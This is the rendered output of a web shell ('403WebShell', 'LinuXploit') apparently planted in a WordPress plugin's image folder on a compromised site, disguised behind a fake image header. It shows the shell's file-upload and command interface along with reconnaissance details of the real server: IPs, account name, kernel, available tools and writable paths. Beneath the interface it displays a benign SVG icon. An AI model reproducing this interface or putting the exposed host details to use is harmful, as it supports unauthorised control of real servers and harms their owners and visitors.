????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./eaabusiness.com/wp-content/plugins/qubely/assets/img/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./eaabusiness.com/wp-content/plugins/qubely/assets/img/blocks//block-toc.svg
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 37.91 37.91">
    <defs>
        <linearGradient id="linear-gradient" x1="4.01" y1="-2799.96" x2="33.99" y2="-2799.96" gradientTransform="matrix(1 0 0 -1 0 -2781.67)" gradientUnits="userSpaceOnUse">
            <stop offset="0" stop-color="#00d1ff"/>
            <stop offset="1" stop-color="#0a00d1"/>
        </linearGradient>
        <style>
            .cls-5{fill:#fff}
        </style>
    </defs>
    <g id="Layer_2" data-name="Layer 2">
        <g id="Layer_1-2" data-name="Layer 1">
            <path fill="none" d="M0 0h37.91v37.91H0z"/>
            <path d="M29.83 35H8a3.82 3.82 0 01-4-3.6V8a3.84 3.84 0 014-3.71h21.83a3.82 3.82 0 014 3.6v23.33c.17 2.13-1.61 3.78-4 3.78z" fill="#0a00d1"/>
            <path d="M29.83 33.62H8a3.84 3.84 0 01-4-3.73V6.55A3.82 3.82 0 018 3h21.83a3.82 3.82 0 014 3.6v23.29c.17 2.11-1.61 3.73-4 3.73z" fill="url(#linear-gradient)"/>
            <path d="M29.83 3H8a4.05 4.05 0 00-3.09 1.42C31.32 3.09 34 22.29 34 22.29V6.55c0-2-1.78-3.55-4.17-3.55z" opacity=".2" fill="#0a00d1"/>
            <rect class="cls-5" x="15.2" y="26.37" width="13.84" height="1.36" rx=".63"/>
            <rect class="cls-5" x="8.98" y="25.63" width="3.18" height="2.84" rx=".96"/>
            <rect class="cls-5" x="18.48" y="14.67" width="10.56" height="1.36" rx=".63"/>
            <rect class="cls-5" x="12.26" y="13.92" width="3.18" height="2.84" rx=".96"/>
            <rect class="cls-5" x="18.48" y="20.52" width="10.56" height="1.36" rx=".63"/>
            <rect class="cls-5" x="12.26" y="19.78" width="3.18" height="2.84" rx=".96"/>
            <rect class="cls-5" x="15.2" y="8.82" width="13.84" height="1.36" rx=".63"/>
            <rect class="cls-5" x="8.98" y="8.07" width="3.18" height="2.84" rx=".96"/>
        </g>
    </g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit